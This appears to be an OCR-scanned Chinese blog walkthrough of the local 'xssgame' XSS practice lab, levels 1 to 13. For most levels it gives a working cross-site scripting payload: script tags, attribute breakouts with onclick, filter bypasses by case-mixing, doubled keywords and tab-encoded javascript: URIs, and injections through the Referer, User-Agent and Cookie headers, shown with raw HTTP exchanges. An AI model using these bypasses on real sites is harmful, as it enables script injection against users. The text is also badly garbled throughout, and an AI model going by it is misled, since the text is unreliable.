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XEFRE:  xss javascript
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payload

thtp:,»‘,-'1 27.0.0.1/xssgame/level1.php?name=<"{()}>

[] Postdata [ | Referrer @ OxHEX ™» &% %URL ™ &%

YRilEZllevell
WIBRAR<\'\"{0}>

<hl align=center>#ill K F|levell</hl
<h2 align=center>XMHF <\ \" {0} >[/h2><center>

<h3 align=center>payloadff] [<J% : 10/ h3></body>
¢ /html™

payload: <script>alert(1)</script>
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https://blog.csdn.net/m0_46394638
https://so.csdn.net/so/search/s.do?q=xss&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=javascript&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/m0_46394638/article/details/109477963
https://pan.baidu.com/s/1Lw-jGb5TMddPWY8lFAn8yw

body>

hl align=center> il K F|level2</hl>

h2 align=center> & FLFIFLLt:\ \quot: { ()} et M4 K. </h2><center>
form action=levelZ. php method=GET>

‘input name=keyword value="<\’\"{(Q}>">

Ainput type=submit namezsubnd?-;;TEE;’ﬁﬂEﬁ”/)

/form>
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payload: " onclick=alert(1) "

(form action=level2. php method=GET>

{ipput name=keyword value="'"|onclick=alert(l) \"">
¢input type=submit name=submit VaTEE=3H777>

</ form>
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{form action=level3. php method=GET>

{input name=keyword value="&1t:\’ \&quot;{()}&gt: >
{input type=submit name=submit value=f% />

{/form>
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payload: 'onclick=alert(123)"

(form action=leveld. php method=GET>

{ipput name=keyword value="'" onclick=alert(123) \''>
{input type=submit name=submit value=§§é§ >

</form>
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{form action=level4. php method=GET>

{input name=keyword value="\"\"{()}">
{input type=submit name=submit value=i#% />
{/form>
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payload: " onclick=alert(123) "
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{form action=levelb. php method=GET>

{input name=keyword value="AVAWRNO}E >
{input type=submit name=submit value={#% />

{/form>
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(form action=leveld. php method=CGET>

{input name=keyword walue="'"| o nclick=alert(123) |\"">
{input type=submit name=submit value=74 3% /.

¢/ form>

SR H AR 5 5 & BB Stjavascripti# 4Tt 38, Lpayload
payload: "><a href=javascript:alert(123)> "

{form action=leveld. php method=GET>

{input name=keyword wvalue="1\"><a href=javascript:alert(123)> \"">
{input type=submit name=submit value={#% />

{/form>
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payload: " ><ScRiPt>alert(123)</script>"
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\(SCript) | =&

{form action=level7. php method=GET>

{input name=kevword value="()">

{input type=submit name-submit value=i¥% />
¢/ form>

A] LU B U scriptit) 5 Rk 47 g8

payload: " ><scrscriptipt>alert(123)</scscriptript> "
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%)\ K MIxssiBAIE—MARhref @, B DAL 5 B4R 2 A javasript:alert().{H & 2 Ml & Bt 5 K scriptid
178 Yscr_ipt

,» I H B A RE ¥ #/N5 1 K Hstrtolower()

U<a href="javascr ipt:alert(123) "> 15¥i4#:</a>{/center.
1 nadB1HE&FF - 232¢ /hR5¢ Thade
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payload: javascr&#x09;ipt:alert(123)
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form action=level9. php method=GET>

{input name=kevyword value="javascriamp:#x09:ipt:alert(123)”>

{input type=submit name=submit value=i% I {5 EEHE />

{/form>

{/center>{center><BR>{a href="{E[JEEHAGIL? A ! " RIEEEE a>
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:f'center><center><BR)|<a href="http://www. test. com” >J 15 EEHE<{/a>
‘h3 align=center’payl .
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payload: javascr&#x09;ipt:alert(&#34http://&#34)
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{form id=search>
{ipput name="t_link” wvalue="" type="hidden”>
{ipput name="t_history” value="" type="hidden”>
{ipput name="t_sort” value="" type="hidden”>
</form>

MREA]: http://127.0.0.1/xssgame/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

{form id=search>
{input name="t link” wvalue="" type="hidden”>

{input name="t history” wvalue="" type="hidden”>
{input name="t sort” |value="4" prEZ”hidden”>

<ff0rm>
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payload=http://127.0.0.1/xssgame/level10.php?keyword=1&t_sort=" onclick=alert(123) "
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{input name="t link” wvalue="" type="hidden”>

{input name="t history” value="" type="hidden”>

{input name="t sort” wvalue="\"|onclick=alert(123) |\"” type="hidden”>
¢/ form>
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= <center>

B form id="search™>

<input name="t_link” walue="" type="hidden">
{input name="t_history” walue="" +type="hidden"?
{ipput name="t sort” wvalue=""" onclick="alert(123)" \""=""
I type="button” > I
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BTHETREBE, F—THET—XOENE, KIBIEINT —M_ref, HHiZARZvalueli 8%+ X Kurl;
H ] DUAR 21X AM_reffE B 1% 2 M httpk 38 5 i) Referer=z B3R B K

{input name="t link” wvalue="" type="hidden”>
{input name="t history” wvalue="" type="hidden”>

input name="t_ref” wvalue="http://127.0.0.1/xssgame/levell0. php?keyword=1&t_sort=%22%20on
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http://127.0.0.1/xssgame/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

GET /xssgame/levelll.php?keyword=goodsZ0joh! HTTR/1.1

Host: 127.0.0.1

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0
Gecko/20100101 Firefox/52.0

Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, */ *:q=0.8
Acecept-Language: zh-CM, zh;q=0.8,en-US;qg=0.5,en;q=0.3
Aocept-Encoding: gzip, deflate

DNT: 1

Connection: close
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HTTP/1l.1 200 OK
Date:
Server: Apache/2.4.23 (Win3Z) OpenS5L/1.0.29 PHR/5.2.17
¥-Powered-By: PHP/5.2.17
Content-Length: 754
Connection: close
Content—Type: text/html

Tues, 03 MNowv Z0IZ0 15:01:3¢

GHMT

S9E <!DOCTYPE html><!--5STATUS OK--><html>

108 <head>

<meta http-squiv="content-typs" content="text/html;charsst=utf-g">
E<scripts>
window.alert = functioni

{

confirm("O00000O") ;

t

window.location.href="1evelll

</scripts>
<titler00001levelll</titles>
</ he=ad>

1E <hodys>

cphp?keyword=good Jok!™;

<hl align=center>0000levelll</ hil>

<lnput name= t:ref"

<input nams=

<h2 align=center>00000good job!'00000.</hi><centers

=="t_link" walue="" type="hiddsn">
history" walus="" type="hiddesn":>»
' wvalus="" type="hiddsn">
value="" onclick="alert (l23)" cype="hidden">

</ form>

</centers<center><img src=levelll.pngs=</centers>
<h3 align=center>payloadill:S</h3i></body>
</html>

BrHoREE K8, RERRKLBFEEAR, BLEFRBGEIN, HRXMUser-AgentkEIRKE A%

<form id=search>

{input name="t_link” wvalue="" type="hidden”>
{input name="t_history” value="" type="hidden”>
{input name="t_sort” value="" type="hidden”>

{input name="t ua”| value="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) |Gecko/20100101]

{/form>
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1 GET /xssgame/levelll.php HTTF/1.1
o Hoste 127 0.0

l User-Agent: " onclick="alert(lI3) I
TET LRty e, apl Lot oy vnemi+xml, application/xml; q=0.9, */*; q=0.8

5 Accept-Language: zh-CN, zh;q=0.8,en-U3;q=0.5,en;q=0.3
& Accept-Encoding: gzip, deflgte

7 DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1
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HTTP/Ll.1 200 OK

Date: Tue, 03 Nov 2020 15:07:39 GMT
Server: Apachs=/2.4.23 (Win32) OpenSSL/Ll.0.23 PHP/5.2.17

¥-Powered-By: PHP/5.2.17
Content-Length: 745
Connection: close
Content-Type: text/html

9 </DOCTYPE html><!--STATUS OE--><html>
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El <heacds>

E <script>
window.alert = functioni()
{

contirm "ol

1
<fscript>

</head>
<body>
align=center>ii

i 5f

<meta http-sgquiv="content-type" content="text/html;charset=utf-g8">

window. location.href="levell3.php?keyword=good job!'";
<titlex>lkF]leve i icles

{ leveml>
FAHE I Xt Becenter>

<input namSwgr link"™ wvalue="" type="hidden">

<input name="tMgistory" wvalus="" type="hiddsn">

<input name="t so valus="" type="hidden">

<input namE="t.:ua" wvalue="" onclick="alert(123)" type="hidden">

</ form>
<fcenters<center><img sr

</html>

<h3 align=center>payloadl]

=levelll.png»</centers
CIE edhis</bodys



L GET /xssgame/levell3.php HTTE/L1.1
Host: 127.0.0.1
i User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/20100101

Firefox/52.0

Aoccept: text/html,application/xhtml4xml, application/xml;g=0.9,*/ *;¢q=0.8
Accept-Languages: zh-CH, zh;q=0.8,=n-U3;q=0.5,en;q=0.3

Accept_FEncoding: gzip, deflate

Cookie: onclick=alert (123) " I
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2 Connection: close

| Upgrade-Insecure-Regquests: 1

s o oun b

user=

L

HTTF/1l.1 200 CKE

Date: Tue, 03 Nov Z0Z0 15:08:2Z GMT
Server: Apachs/2.4.23 (Win3Z) OpenSSL/1.0.23j PHP/5.2.17
¥-Powered-By: PHP/5.2.17

5 SBet-Cookie: user=calltwetwavbe%3F;

expires=Tues, 03-Nowv-20Z0 LlE:09:2Z2

GMT
& Content-Length: 732
7 Connection: close

2 Content-Type: text/html

10-H </DOCTYPE html><!--STATUS OE--><html>
11H <heads>
<meta http-equiv="content-typs" content="text/html:charsst=utf-8">
H<scripts

window.alert = function()

1
16 econfirm("ionlillg "
17 window. location.href="lsvell4.php";
1
<facript>
<title>MiPHT levekixitles

M F| 1eve kL
i EJ A0 ol e center>
valus="" type="hiddsn":>
{d  walus="" type="hidden">
type="hiddsn">
" onclick=alert (123)

<input name="t:histo
<input nam 't sort"  wva
<input name="t cook"” value
</ form> -
<fcenter><center><img src=levelld.png»</center>
<h3 align=center>payloadft/Ee@n3s</bodys
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"M type="hidden">
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